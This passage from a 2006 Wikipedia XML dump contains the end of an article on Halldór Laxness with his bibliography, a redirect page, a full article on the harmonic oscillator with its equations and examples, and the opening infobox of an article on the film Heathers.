Laxness wrote of his Catholicism in the book ''Vefarinn mikli frá Kasmír'', published in [[1927]].
[[Image:halldorlaxness3.jpg|left|thumb|Halldór Laxness]]
==Socialism, war, independence==
Laxness started to lean towards [[socialism]] after having traveled to the [[United States]] to try to make films. This is evident in his book ''Atom Station'', about the fight of some ordinary people to find a place in a new Iceland controlled by the [[Cold War]] invasion of an American bomber base into the hearts and minds of the politicians. It is told from the point of view of a poor country woman who moves to the city, finds work as a maid for one of said politicians, and who somehow sees the folly  of the whole thing, and who campaigns for what she sees as a bigger priority, social welfare from the government.

''Independent People'' is a sort of deadpan [[tragedy]]. It is the story of a man's life from just after he escapes his virtual enslavement to a local rural family on a remote end of Iceland, up through his attempts to build a family, a home, and a future for himself. However, from reading it, it is never explicitly stated that the setting is a remote part of Iceland.  The reader only knows what the character thinks about it; and as far as he is concerned, it is a good plot of land.  It is all he's ever known, he hasn't wandered in his mind to [[France]] or [[Germany]] or America. So as far as the reader knows, the land is just his Land.

It reveals some of Laxness's anti-war leanings in a chapter that consists of Icelandic farmers sitting around talking about how the [[livestock]] sales sure have gone up since the [[Europe]]ans started murdering each other for no good reason. Also displayed is hatred of politicians, as he depicts them as all bosom buddies, part of some exclusive mindset that renders them too busy hobnobbing with each other and fulfilling grand ideals for them to actually care about what the poor people are going through. 

Readers may also interpret it as an indictment of the idea of [[independence]] &amp;mdash; not the good kind of independence, but independence taken to such an extreme that it becomes willful ignorance, and a sort of slavery of family members to the patriarch's ideas. To him his ideas are unquestionable, and inherently linked to his 'freedom'. This ends with alienating his family, in tragedy, in every minuscule and minute detail that Laxness paints with. Then he pulls back, and the reader realizes that just about every person out there on this part of the Icelandic ground was going through similar experiences. Poor health, near starvation, exploitative merchants, ignorance, hatred, etc. People will probably notice that Laxness, although he shows clearly that the main character destroyed the lives of some members of his family, the author seems to have a deep understanding of how that character came to exist, of why he exists, of why everything happens. Laxness still manages to dig out some shred of hope and love from the abysmal rural disenfranchised powerless poverty depicted in the book, and to find some human tenderness inside the burly troll monster of the main character.

==Publications==
The following is a partial list of publications written by or connected with Laxness:
&lt;div style=&quot;float:left; width:50%;&quot;&gt;
* 1919: ''Barn náttúrunnar'', novel
* 1923: ''Nokkrar sögur'', short stories
* 1924: ''Undir Helgahnúk'', novel
* 1925: ''Kaþólsk viðhorf'', essay
* 1927: ''Vefarinn mikli frá Kasmír'', novel
* 1929: ''Alþýðubókin'', articles
* 1930: ''Kvæðakver'', poems
* 1931: ''Salka Valka'' (Part I) - ''Þú vínviður hreini'', novel
* 1932: ''Salka Valka'' (Part II) - ''Fuglinnn í fjörunni'', novel
* 1933: ''Fótatak manna'', short stories (see ''Þættir'')
* 1933: ''Í Austurvegi'', travelogue
* 1934: ''Straumrof'', play
* 1934: ''[[Independent People|Sjálfstætt fólk]]'' (Part I, ''Independent People'') - ''Landnámsmaður Íslands'', novel
* 1935: ''[[Independent People|Sjálfstætt fólk]]'' (Part II) - ''Erfiðir tímar'', novel
* 1935: ''Þórður gamli halti'', short stories (see ''Þættir'')
* 1937: ''Dagleið á fjöllum'', articles
* 1937: ''[[Heimsljós]]'' (Part I, ''World Light'') - ''Ljós heimsins'' (later named, ''Kraftbirtíngarhljómur guðdómsins''), novel
* 1938: ''Gerska æfintýrið'', travelogue
* 1938: ''[[Heimsljós]]'' (Part II) - ''Höll sumarlandsins'', novel
* 1939: ''[[Heimsljós]]'' (Part III) - ''Hús skáldsins'', novel
* 1940: ''[[Heimsljós]]'' (Part IV) - ''Fegurð himinsins'', novel
* 1942: ''Vettvángur dagsins'', articles
* 1942: ''Sjö töframenn'', short stories (see Þættir)
* 1943: ''Íslandsklukkan'' (''Iceland's Bell'', Part I) - ''Íslandsklukkan'', novel
* 1944: ''Íslandsklukkan'' (Part II) - ''Hið ljósa man'', novel
* 1946: ''Íslandsklukkan'' (Part III) - ''Eldur í Kaupinhafn'', novel
* 1946: ''Sjálfsagðir hlutir'', essays
* 1948: ''Atómstöðin'' (''The Atom Station''), novel
* 1950: ''Reisubókarkorn'', articles
* 1950: ''Snæfríður Íslandssól'', play (from ''Íslandsklukkan'')
* 1952: ''Gerpla'', novel
* 1952: ''Heiman eg fór'', novel/travelogue
* 1954: ''Silfurtúnglið'', play
&lt;/div&gt;&lt;div style=&quot;float:right; width:50%;&quot;&gt;
* 1954: ''Þættir'', collected short stories
* 1955: ''Dagur í senn'', articles
* 1957: ''Brekkukotsannáll'', novel
* 1959: ''Gjörníngabók'', articles
* 1960: ''Paradísarheimt'', novel
* 1961: ''Strompleikurinn'', play
* 1962: ''Prjónastofan Sólin'', play
* 1963: ''Skáldatími'', articles
* 1964: ''Sjöstafakverið'', short stories
* 1965: ''Upphaf mannúðarstefnu'', articles
* 1966: ''Dúfnaveislan'', play
* 1967: ''Íslendíngaspjall'', articles
* 1968: ''Kristnihald undir Jökli'' (''Under the Glacier''/''Christianity at Glacier''), novel
* 1969: ''Vínlandspúnktar'', articles
* 1970: ''Innansveitarkronika'', novel
* 1970: ''Úa'', play (from ''Kristnihald undir Jökli'')
* 1971: ''Yfirskygðir staðir'', articles
* 1972: ''Guðsgjafaþula'', novel
* 1972: ''Norðanstúlkan'', play (from ''Atómstöðin'')
* 1974: ''Þjóðhátíðarrolla'', articles
* 1975: ''Í túninu heima'', memoirs I
* 1976: ''Úngur eg var'', memoirs III
* 1977: ''Seiseijú, mikil ósköp'', articles
* 1978: ''Sjömeistarasagan'', memoirs II
* 1980: ''Grikklandsárið'', memoirs IV
* 1981: ''Við heygarðshornið'', articles
* 1984: ''Og árin líða'', articles
* 1986: ''Af menníngarástandi'', articles
* 1987: ''Dagar hjá múnkum'', memoirs
* 1987: ''Sagan af brauðinu dýra'', short story
* 1992: ''Jón í Brauðhúsum'', short story
* 1992: ''Skáldsnilld Laxness''
* 1996: ''Fugl á garðstaurnum og fleiri smásögur'', short stories
* 1997: ''Únglíngurinn í skóginum'', poem
* 1998: ''Perlur í skáldskap Laxness''
* 1999: ''Úngfrúin góða og Húsið'', short story
* 2000: ''Smásögur'', short stories
* 2001: ''Gullkorn úr greinum Laxness''
* 2001: ''Kórvilla á Vestfjörðum og fleiri sögur'', short stories.
* 2001: ''Laxness um land og Þjóð''
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

{{start box}}
{{succession box | before = [[Ernest Hemingway]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1955 | after = [[Juan Ramón Jiménez]]
}}
{{end box}}

==References and external links==
&lt;div style=&quot;float:left; width:50%;&quot;&gt;
In [[Icelandic language|Icelandic]]:
* Hannes Hólmsteinn Gissurarson. 2003. ''Halldór''. Vol. I of Laxness’ biography. Almenna bókafélagið, Reykjavík.
* Hannes Hólmsteinn Gissurarson. 2004. ''Kiljan''. Vol. II of Laxness’ biography. Bókafélagið, Reykjavík.
* Hannes Hólmsteinn Gissurarson. 2005. ''Laxness''. Vol. III of Laxness’ biography. Bókafélagið, Reykjavík.
* Halldór Guðmundsson. 2004. ''Halldór Laxness''. JPV, Reykjavík.
* Hallberg, Peter. 1970. Hús skáldsins: um skáldverk Halldórs Laxness frá Sölku Völku til Gerplu. Reykjavík. Mál og menning. 
* ''Íslenska alfræðiorðabókin H-O. 1990.'' Editors: Dóra Hafsteinsdóttir and Sigríður Harðardóttir. Örn og Örlygur hf., Reykjavík.
* [http://www2.mbl.is/mm/serefni/laxness/ritaskra.html Bibliography]
* [http://www2.mbl.is/mm/serefni/laxness/ Halldór Laxness]
* [http://www.gljufrasteinn.is/ - ''Gljúfrasteinn'' The Halldór Laxness Museum web site in several languages, including English]
&lt;/div&gt;&lt;div style=&quot;float:right; width:50%;&quot;&gt;
In [[English language|English]]:
*[http://nobelprize.org/literature/laureates/1955/laxness-bio.html Biography] from the [[Nobel Prize]] website
&lt;/div&gt;&lt;br clear=&quot;all&quot;&gt;

[[Category:1902 births|Laxness, Halldór]]
[[Category:1998 deaths|Laxness, Halldór]]
[[Category:Icelandic writers|Laxness, Halldór]]
[[Category:Nobel Prize in Literature winners|Laxness, Halldór]]
[[Category:Icelandic people]]

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  </page>
  <page>
    <title>Hall and Woodhouse</title>
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        <username>Justinc</username>
        <id>113336</id>
      </contributor>
      <comment>merge with Badger</comment>
      <text xml:space="preserve">#REDIRECT [[Badger Brewery]]</text>
    </revision>
  </page>
  <page>
    <title>Harmonic oscillator</title>
    <id>13899</id>
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      <id>40874822</id>
      <timestamp>2006-02-23T16:17:14Z</timestamp>
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        <username>Phil Boswell</username>
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      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">A '''Harmonic oscillator''' is a system which, when displaced from its equilibrium position, experiences a restoring [[force]] &lt;math&gt;F&lt;/math&gt; proportional to the displacement &lt;math&gt;x&lt;/math&gt;:
:&lt;math&gt; F = -k x \, &lt;/math&gt;
where &lt;math&gt;k&lt;/math&gt; is a positive [[constant]].

If &lt;math&gt;F&lt;/math&gt; is the only force acting on the system, the system is called a '''simple harmonic oscillator''', and it undergoes '''simple harmonic motion''': [[sinusoidal]] [[oscillations]]  about the equilibrium point, with a constant [[amplitude]] and a constant [[frequency]] (which does not depend on the [[amplitude]]).

If a frictional [[force]] ([[damping]]) proportional to the [[velocity]] is also present, the harmonic oscillator is described as ''damped''. In such situation, the [[frequency]] of the [[oscillations]] is smaller than in the non-damped case, and the [[amplitude]] of the [[oscillations]] decreases with time.

If an external time-dependent [[force]] is present, the harmonic oscillator is described as ''driven''.

Mechanical examples include [[pendulum|pendula]] (with small angles of displacement), masses connected to [[spring (device)|spring]]s, and [[acoustics|acoustical system]]s. Other analogous systems include electrical harmonic oscillators (see [[RLC circuit]]).

This article discusses the harmonic oscillator in terms of [[classical mechanics]]. See the article [[quantum harmonic oscillator]] for a discussion of the harmonic oscillator in [[quantum mechanics]].

== Simple harmonic oscillator ==
The simple harmonic oscillator has no driving force, and no [[friction]] ([[damping]]), so the net force is just

:&lt;math&gt; F = -k x \, &lt;/math&gt;

Using Newton's Second Law

:&lt;math&gt; F = m a = -k x \, &lt;/math&gt;

The acceleration, &lt;math&gt;a&lt;/math&gt; is equal to the second derivative of &lt;math&gt;x&lt;/math&gt;.

:&lt;math&gt; m \frac{d^2x}{dt^2} = -k x &lt;/math&gt;

If we define &lt;math&gt;{\omega_0}^2 = k/m&lt;/math&gt;, then the equation can be written as follows,

:&lt;math&gt; \frac{d^2x}{dt^2} + {\omega_0}^2 x = 0&lt;/math&gt;

and has the general solution

:&lt;math&gt; x = A \cos {(\omega_0 t + \phi)} \, &lt;/math&gt;

where the [[amplitude]] &lt;math&gt;A \,&lt;/math&gt; and the [[phase (waves)|phase]] &lt;math&gt;\phi \,&lt;/math&gt; are determined by the initial conditions.

Alternatively, the general solution can be written as

:&lt;math&gt; x = A \sin {(\omega_0 t + \phi)} \, &lt;/math&gt;

where the value of &lt;math&gt;\phi \,&lt;/math&gt; is shifted by &lt;math&gt;\pi/2 \,&lt;/math&gt; relative to the previous form;

or as

:&lt;math&gt; x = A \sin{\omega_0 t} + B \cos{\omega_0 t} \, &lt;/math&gt;

where &lt;math&gt;A \,&lt;/math&gt; and &lt;math&gt;B \,&lt;/math&gt; are the constants which are determined by the initial conditions, instead of &lt;math&gt;A \,&lt;/math&gt; and &lt;math&gt;\phi \,&lt;/math&gt; in the previous forms.

The [[frequency]] of the oscillations is given by

:&lt;math&gt; f = \frac{\omega_0}{2\pi} &lt;/math&gt;

The [[kinetic energy]] is

:&lt;math&gt;T = \frac{1}{2} m \left(\frac{dx}{dt}\right)^2 = \frac{1}{2} k A^2 \sin^2(\omega_0 t + \phi)&lt;/math&gt;.

and the [[potential energy]] is

:&lt;math&gt;U = \frac{1}{2} k x^2 = \frac{1}{2} k A^2 \cos^2(\omega_0 t + \phi)&lt;/math&gt;

so the total energy of the system has the constant value

:&lt;math&gt;E = \frac{1}{2} k A^2&lt;/math&gt;

== Driven harmonic oscillator ==
This satisfies the nonhomogeneous second order linear differential equation

::&lt;math&gt;\frac{d^2x}{dt^2} + {\omega_0}^2x = A_0 \cos(\omega t).&lt;/math&gt;

Example: AC LC (inductor-capacitor) circuit.

Note that this is true if the driving force applied is itself sinusoidal. The term on the right side of the equal sign corresponds to this applied driving force.

== Damped harmonic oscillator ==
This satisfies the equation

:&lt;math&gt;\frac{d^2x}{dt^2} + b/m \frac{dx}{dt} + {\omega_0}^2x = 0.&lt;/math&gt;

Example: weighted spring underwater (where the damping force exerted by the water is proportional to ''b'').

== Damped, driven harmonic oscillator ==
This satisfies the equation

:&lt;math&gt;m\frac{d^2x}{dt^2} + r \frac{dx}{dt} + kx= F_0 \cos(\omega t).&lt;/math&gt;

The general solution is a sum of a [[transient]] (the solution for damped undriven harmonic oscillator, [[homogeneous (mathematics)|homogeneous]] ODE) that depends on initial conditions, and a [[steady state]] (particular solution of the unhomogenous ODE) that is independent of initial conditions and depends only on driving frequency, driving force, restoring force, damping force, and inertial moment of the oscillator (see also [[Linear transformation#Kernel and image|kernel and image]]).

The steady-state solution is

::::&lt;math&gt; x(t) = \frac{F_0}{Z_m \omega} \sin(\omega t - \phi)&lt;/math&gt;

where

:&lt;math&gt; Z_m = \sqrt{r^2 + \left(\omega m - \frac{k}{\omega}\right)^2}&lt;/math&gt;

is the absolute value of the [[impedance]]

:&lt;math&gt; Z = r + i\left(\omega m - \frac{k}{\omega}\right) &lt;/math&gt;

and

:&lt;math&gt; \phi = \arctan\left(\frac{\omega m - \frac{k}{\omega}}{r}\right)&lt;/math&gt;

is the [[phase]] of the oscillation relative to the driving force.  

One might see that for a certain driving frequency, &lt;math&gt; \omega &lt;/math&gt;, the amplitude (relative to a given &lt;math&gt;F_0&lt;/math&gt;) is maximal. This occurs for the frequency 

:&lt;math&gt; {\omega}_r = \sqrt{\frac{k}{m} - \frac{r^2}{4 m^2}} &lt;/math&gt;

and is called '''[[resonance]] of [[displacement]]'''.

In summary: at steady state the frequency of oscillation is the same as the that of the driving force, but the oscillation is phase-offset and scaled by amounts that depend on the frequency of the driving force in relation to the preferred (resonant) frequency of the oscillating system.

Example: [[RLC circuit]].

== Full mathematical definition ==
Most harmonic oscillators, at least approximately, solve the differential equation:

:&lt;math&gt;\frac{d^2x}{dt^2} + b/m \frac{dx}{dt} + {\omega_0}^2x = A_0 \cos(\omega t) &lt;/math&gt;

where ''t'' is time, ''b'' is the damping constant, &amp;omega;&lt;sub&gt;o&lt;/sub&gt; is the characteristic [[angular frequency]], and ''A''&lt;sub&gt;o&lt;/sub&gt;cos(&amp;omega;''t'') represents something driving the system with amplitude ''A''&lt;sub&gt;o&lt;/sub&gt; and angular frequency &amp;omega;. ''x'' is the measurement that is oscillating; it can be position, current, or nearly anything else. The [[angular frequency]] is related to the frequency, ''f'', by

:&lt;math&gt; f = \frac{\omega}{2 \pi}.&lt;/math&gt;

=== Important terms ===
* [[Amplitude]]: maximal displacement from the [[equilibrium]].
* Period: the time it takes the system to complete an oscillation cycle. Opposite of [[frequency]].
* [[Frequency]]: the number of cycles the system performs per unit time (usually measured in [[hertz]] = 1/s).
* [[Angular frequency]]: &lt;math&gt; \omega = 2 \pi f &lt;/math&gt;
* [[Phase]]: how much of a cycle the system completed (system that begins is in phase zero, system which completed half a cycle is in phase &lt;math&gt; \pi &lt;/math&gt;).
* [[Initial condition]]s: the state of the system at ''t'' = 0, the beginning of oscillations.

== Simple harmonic oscillator ==
A simple harmonic oscillator is simply an oscillator that is neither damped nor driven. So the equation to describe one is:

::&lt;math&gt;\frac{d^2x}{dt^2} + {\omega_0}^2x = 0.&lt;/math&gt;

Physically, the above never actually exists, since there will always be friction or some other resistance, but two approximate examples are a mass on a [[Spring (device)|spring]] and an [[LC circuit]].

In the case of a mass attached to a spring, Newton's Laws, combined with Hooke's law for the behavior of a spring, states that:

::&lt;math&gt; -k x = ma \, &lt;/math&gt;

:where ''k'' is the [[spring constant]]
:''m'' is the [[mass]]
:''x'' is the position of the mass
:''a'' is its [[acceleration]]. 

Because acceleration ''a'' is the second derivative of position ''x'', we can rewrite the equation as follows:

::&lt;math&gt; -k x = m \frac{d^2 x}{d t^2}. &lt;/math&gt;

The most simple solution to the above [[differential equation]] is

::&lt;math&gt;x = A \cos(\omega t + \delta) \, &lt;/math&gt;

and the second derivative of that is

::&lt;math&gt;\frac{d^2 x}{dt^2} = -A \omega^2 \cos(\omega t + \delta)&lt;/math&gt;

:where ''A'' is the [[amplitude]], &amp;delta; is the phase shift, and &amp;omega; is the [[angular frequency]]. 

Plugging these back into the original differential equation, we have:

::&lt;math&gt; -A k \cos(\omega t +\delta) = -A m \omega^2 \cos(\omega t + \delta). \, &lt;/math&gt;

Then, after dividing both sides by &lt;math&gt;-A \cos(\omega t + \delta) \, &lt;/math&gt;
we get:

::&lt;math&gt;k = m \omega^2 \,&lt;/math&gt;

or, as it is more commonly written:
::&lt;math&gt;\omega = \sqrt{\frac{k}{m}}. &lt;/math&gt;

The above formula reveals that the [[angular frequency]] &amp;omega; of the solution is only dependent upon the physical characteristics of the system, and not the initial conditions (those are represented by ''A'' and &amp;delta;). We will label this &amp;omega; as &amp;omega;&lt;sub&gt;o&lt;/sub&gt; from now on. This will become important later.

== Universal oscillator equation ==
The equation 
:&lt;math&gt;\frac{d^2q}{d \tau^2} + 2 \zeta \frac{dq}{d\tau} + q = 0&lt;/math&gt;

is known as the '''universal oscillator equation''' since all second order linear oscillatory systems can be reduced to this form. This is done through [[nondimensionalization]].

If the forcing function is ''f''(''t'') = cos(''&amp;omega;t'') = cos(''&amp;omega;t&lt;sub&gt;c&lt;/sub&gt;&amp;tau;'') = cos(&amp;omega;''&amp;tau;''), where &amp;omega; = &amp;omega;''t&lt;sub&gt;c&lt;/sub&gt;'', the equation becomes
:&lt;math&gt;\frac{d^2q}{d \tau^2} + 2 \zeta \frac{dq}{d\tau} + q = \cos(\omega \tau).&lt;/math&gt;

The solution to this differential equation contains two parts, the &quot;transient&quot; and the &quot;steady state&quot;.

=== Transient solution ===
The solution based on solving the [[ordinary differential equation]] is for arbitrary constants ''c''&lt;sub&gt;1&lt;/sub&gt; and ''c''&lt;sub&gt;2&lt;/sub&gt; is

&lt;math&gt;q_t (\tau) = \begin{cases} e^{-\zeta\tau} \left( c_1 e^{\tau \sqrt{\zeta^2 - 1}} + c_2 e^{- \tau \sqrt{\zeta^2 - 1}} \right) &amp; \zeta &gt; 1 \ \mbox{(overdamping)} \\ e^{-\zeta\tau} (c_1+c_2 \tau) = e^{-\tau}(c_1+c_2 \tau) &amp; \zeta = 1 \ \mbox{(critical damping)} \\ e^{-\zeta \tau} \left[ c_1 \cos \left(\sqrt{1-\zeta^2} \tau\right) +c_2 \sin\left(\sqrt{1-\zeta^2} \tau\right) \right] &amp; \zeta &lt; 1 \ \mbox{(underdamping)} \end{cases}&lt;/math&gt;

The transient solution is independent of the forcing function. If the system is critically damped, the response is independent of the damping.

=== Steady-state solution ===
Apply the &quot;[[complex analysis|complex variables]] method&quot; by solving the [[auxiliary equation]] below and then finding the real part of its solution:
:&lt;math&gt;\frac{d^2 q}{d\tau^2} + 2 \zeta \frac{dq}{d\tau} + q = \cos(\omega \tau) + i\sin(\omega \tau) = e^{ i \omega \tau} .&lt;/math&gt;

Supposing the solution is of the form
&lt;!-- The \,\! is to keep the formula rendered as PNG instead of HTML. Please don't remove it.--&gt;
:&lt;math&gt;\,\! q_s(\tau) = A e^{i ( \omega \tau + \phi ) } . &lt;/math&gt;

Its derivatives from zero to 2nd order are
:&lt;math&gt;q_s = A e^{i ( \omega \tau + \phi ) }, \ \frac{dq_s}{d \tau} = i \omega A e^{i ( \omega \tau + \phi ) }, \ \frac{d^2 q_s}{d \tau^2} = - \omega^2 A e^{i ( \omega \tau + \phi ) } .&lt;/math&gt;

Substituting these quantities into the differential equation gives
&lt;!-- The \,\! is to keep the formula rendered as PNG instead of HTML. Please don't remove it.--&gt;
:&lt;math&gt;\,\! -\omega^2 A e^{i (\omega \tau + \phi)} + 2 \zeta i \omega A e^{i(\omega \tau + \phi)} + A e^{i(\omega \tau + \phi)} = (-\omega^2 A \, + \, 2 \zeta i \omega A \, + \, A) e^{i (\omega \tau + \phi)} = e^{i \omega \tau} .&lt;/math&gt;

Dividing by the exponential term on the left results in
&lt;!-- The \,\! is to keep the formula rendered as PNG instead of HTML. Please don't remove it.--&gt;
:&lt;math&gt;\,\! -\omega^2 A + 2 \zeta i \omega A + A = e^{-i \phi} = \cos\phi - i \sin\phi . &lt;/math&gt;

Equating the real and imaginary parts results in two independent equations
:&lt;math&gt;A (1-\omega^2)=\cos\phi \qquad 2 \zeta \omega A = - \sin\phi.&lt;/math&gt;

==== Amplitude part ====
Squaring both equations and adding them together gives
:&lt;math&gt;\left . \begin{matrix}A^2  (1-\omega^2)^2 = \cos^2\phi \\ (2 \zeta \omega A)^2 = \sin^2\phi \end{matrix} \right \} \Rightarrow A^2[(1-\omega^2)^2 + (2 \zeta \omega)^2] = 1. &lt;/math&gt;

By convention the positive root is taken since amplitude is usually considered a positive quantity. Therefore,
:&lt;math&gt;A = A( \zeta, \omega) = \frac{1}{\sqrt{(1-\omega^2)^2 + (2 \zeta \omega)^2}}.&lt;/math&gt;

Compare this result with the theory section on [[resonance]], as well as the &quot;magnitude part&quot; of the [[RLC circuit]]. This amplitude function is particularly important in the analysis and understanding of the [[frequency response]] of second-order systems.

Note that the variables in these equations ought to be identified before showing the equation.

==== Phase part ====
To solve for &amp;phi;, divide both equations to get
:&lt;math&gt;\tan\phi = - \frac{2 \zeta \omega}{ 1 - \omega^2} = \frac{2 \zeta \omega}{\omega^2 - 1} \Rightarrow \phi \equiv \phi(\zeta, \omega) = \arctan \left( \frac{2 \zeta \omega}{\omega^2 - 1} \right ). &lt;/math&gt;

This phase function is particularly important in the analysis and understanding of the [[frequency response]] of second-order systems.

=== Full solution ===
Combining the amplitude and phase portions results in the steady-state solution
:&lt;math&gt;\,\! q_s (\tau) = A(\zeta,\omega) \cos(\omega \tau + \phi(\zeta,\omega)) = A\cos(\omega \tau + \phi).&lt;/math&gt;

The solution of original universal oscillator equation is a [[superposition]] (sum) of the transient and steady-state solutions
&lt;!-- The \,\! is to keep the formula rendered as PNG instead of HTML. Please don't remove it.--&gt;
:&lt;math&gt;\,\! q(\tau) = q_t (\tau) + q_s (\tau).&lt;/math&gt;

For a more complete description of how to solve the above equation, see [[Ordinary differential equation#Linear ODEs with constant coefficients|linear ODEs with constant coefficients]].

==Relationship to RLC circuit==
Comparing a mechanical harmonic oscillator with an RLC circuit, the following correspond:
*''F'' ([[force]]) &lt;math&gt;\Leftrightarrow&lt;/math&gt; ''V'' ([[electric potential]])
*''x'' (position) &lt;math&gt;\Leftrightarrow&lt;/math&gt; ''Q'' ([[charge]])
*''k'' ([[Hooke's law#Spring equation|spring constant]]) &lt;math&gt;\Leftrightarrow \frac{1}{C}&lt;/math&gt; ([[electrical elastance]] (reciprocal of [[capacitance]]) 
*''v'' ([[velocity]]) &lt;math&gt;\Leftrightarrow&lt;/math&gt; ''I'' ([[electric current]])
*''b'' ([[damping]] factor) &lt;math&gt;\Leftrightarrow&lt;/math&gt; ''R'' ([[electrical resistance]])
*''a'' ([[acceleration]]) &lt;math&gt;\Leftrightarrow \frac{dI}{dt} \,&lt;/math&gt; (rate of change of current)
*''m'' ([[mass]]) &lt;math&gt;\Leftrightarrow&lt;/math&gt; ''L'' ([[inductance]])

== Applications ==
The problem of the simple harmonic oscillator occurs frequently in physics because of the form of its potential energy function:

:&lt;math&gt;V(x) = \frac{1}{2} k x^2. &lt;/math&gt;

Given an arbitrary potential energy function &lt;math&gt;V(x)&lt;/math&gt;, one can do a [[Taylor series|Taylor expansion]] in terms of &lt;math&gt;x&lt;/math&gt; around an energy minimum (&lt;math&gt;x = x_0&lt;/math&gt;) to model the behavior of small perturbations from equilibrium.

:&lt;math&gt;V(x) = V(x_0) + (x-x_0) V'(x_0) + \frac{1}{2} (x-x_0)^2 V^{(2)}(x_0) + O(x-x_0)^3&lt;/math&gt;

Because &lt;math&gt;V(x_0)&lt;/math&gt; is a minimum, the first derivative evaluated at &lt;math&gt;x_0&lt;/math&gt; must be zero, so the linear term drops out:

:&lt;math&gt;V(x) = V(x_0) + \frac{1}{2} (x-x_0)^2 V^{(2)}(x_0) + O(x-x_0)^3&lt;/math&gt;

The constant term is arbitrary and thus may be dropped, and a coordinate transformation allows the form of the simple harmonic oscillator to be retrieved:

:&lt;math&gt;V(x) \approx \frac{1}{2} x^2 V^{(2)}(0) = \frac{1}{2} k x^2&lt;/math&gt;

Thus, given an arbitrary potential energy function &lt;math&gt;V(x)&lt;/math&gt; with a non-vanishing second derivative, one can use the solution to the simple harmonic oscillator to provide an approximate solution for small perturbations around the equilibrium point.

==Examples==
===Simple Pendulum===
[[Image:Simple pendulum height.jpg|thumb|right|300px|A [[Simple pendulum]] exhibits simple harmonic motion under the conditions of no damping and small amplitude.]]

Assuming no damping and small amplitudes, the differential equation governing a simple pendulum is given by 

:&lt;math&gt;{d^2\theta\over dt^2}+{g\over \ell}\theta=0&lt;/math&gt;

Solution to this equation is given by:

:&lt;math&gt;\theta(t) = \theta_0\cos\left(\sqrt{g\over \ell}t\right) \quad\quad\quad\quad |\theta_0| \ll 1&lt;/math&gt;

where &lt;math&gt;\theta_0&lt;/math&gt; is the largest angle attained by the pendulum.  [[Sine|Period]], the time for one complete oscillation (time for the bob to return to its starting position), is given by &lt;math&gt;2\pi&lt;/math&gt; divided by whatever is multiplying the time in the argument of the cosine

:&lt;math&gt;T_0 = 2\pi\sqrt{\ell\over g}\quad\quad\quad\quad |\theta_0| \ll 1&lt;/math&gt;

===Pendulum swinging over turntable===
Simple harmonic motion can in some cases be considered to be the one-dimensional [[projection]] of two-dimensional [[circular motion]]. Consider a long [[pendulum]] swinging over the [[turntable]] of a [[record player]]. On the edge of the turntable there is an object. If the object is viewed from the same level as the turntable, a projection of the motion of the object seems to be moving backwards and forwards on a straight line.
It is possible to change the frequency of rotation of the turntable in order to have a perfect [[synchronization]] with the motion of the pendulum.

The angular speed of the turntable is the pulsation of the pendulum.

In general, the '''[[pulsation]]'''-also known as angular frequency, of a straight-line simple harmonic motion is the [[angular speed]] of the corresponding circular motion.

Therefore, a motion with period ''T'' and frequency ''f''=1/''T'' has pulsation 

&lt;math&gt;\omega=2\pi\cdot f = \frac{2\pi}{T}&lt;/math&gt;

In general, '''pulsation''' and '''angular speed''' are not synonymous. For instance the pulsation of a pendulum is not the angular speed of the pendulum itself, but it is the angular speed of the corresponding circular motion.

===Spring-mass system===
[[Image:Equilibrium.JPG|thumb|right|200px|Equilibrium position of the spring-mass system]] 

[[Image:stretched.JPG|200px|thumb|right|Stretched and compressed positions of the spring-mass system]]

When a spring is stretched or compressed by a mass, the spring develops a restoring force. The [[Hooke's Law]] gives the relationship of the force exerted by the spring when the spring is compressed or stretched a certain length.

&lt;math&gt;Fs \left( t \right) =kx \left( t \right) &lt;/math&gt;

where Fs is the force, k is the spring constant, and the x is the displacement of the mass with respect to the equilibrium position.

This relationship shows that the distance of the spring is always opposite to the force of the spring.

By using either force balance or an energy method, it can be readily shown that the motion of this system is given by the following differential equation: 

&lt;math&gt; m \frac {d^{2}}{d{t}^{2}} x \left( t \right) +kx(t)=0 &lt;/math&gt;

If the initial displacement is A, and there is no initial velocity, the solution of this equation is given by:
&lt;math&gt; x \left( t \right) =A\cos \left( (\sqrt {k/m}) t\right) &lt;/math&gt;

;Energy variation in the spring-damper system

In terms of energy, all systems have two types of energy, [[potential energy]] and [[kinetic energy]]. When a spring is stretched or compressed, it stores elastic potential energy, which then is transferred into kinetic energy. The potential energy within a spring is determined by the equation &lt;math&gt; U = 1/2\,k{x}^{2} &lt;/math&gt;

When the spring is stretched or compressed, kinetic energy of the mass gets converted into potential energy of the spring. By conservation of energy, assuming the datum is defined at the equilibrium position, when the spring reaches its maximum potential energy, the kinetic energy of the mass is zero. When the spring is released, the spring will try to reach back to equilibrium, and all its potential energy is converted into kinetic energy of the mass.

==References==
* {{cite book | last = Serway | first =  Raymond A. | coauthors =  Jewett, John W. | title = Physics for Scientists and Engineers | publisher = Brooks/Cole | year = 2003 | id = ISBN 0534408427 }}
* {{cite book | last = Tipler | first =  Paul | title = Physics for Scientists and Engineers: Vol. 1 | edition = 4th ed. | publisher = W. H. Freeman | year = 1998 | id = ISBN 1572594926 }}

==See also==
*[[normal mode]]
*[[quantum harmonic oscillator]]
*[[anharmonic oscillator]]

[[Category:Classical mechanics]]
[[Category:Ordinary differential equations]]

[[da:Harmonisk oscillator]]
[[de:Harmonischer Oszillator]]
[[fi:Harmoninen värähtelijä]]
[[he:אוסצילטור הרמוני]]
[[it:moto armonico]]
[[ja:調和振動子]]
[[pl:Oscylator harmoniczny]]
[[sl:Nihanje]]</text>
    </revision>
  </page>
  <page>
    <title>Heathers</title>
    <id>13901</id>
    <revision>
      <id>41931992</id>
      <timestamp>2006-03-02T18:37:35Z</timestamp>
      <contributor>
        <ip>69.200.90.169</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Film |
  name     = Heathers |
  image          = Heathers 89poster.jpg|
  imdb_id        = 0097493 |
  writer         = [[Daniel Waters (writer)|Daniel Waters]] |
  starring       = [[Winona Ryder]],&lt;br&gt;[[Christian Slater]],&lt;br&gt;[[Shannen Doherty]] |
  director       = [[Michael Lehmann]] |
  producer       = [[Denise Di Novi]] |
  distributor    = [[New World Communications|New World Pictures]] |
  released   = [[March 31]], [[1989]] |
  runtime        = 102 min. |
  language = English |
  budget         = $2,000,000 |
}}

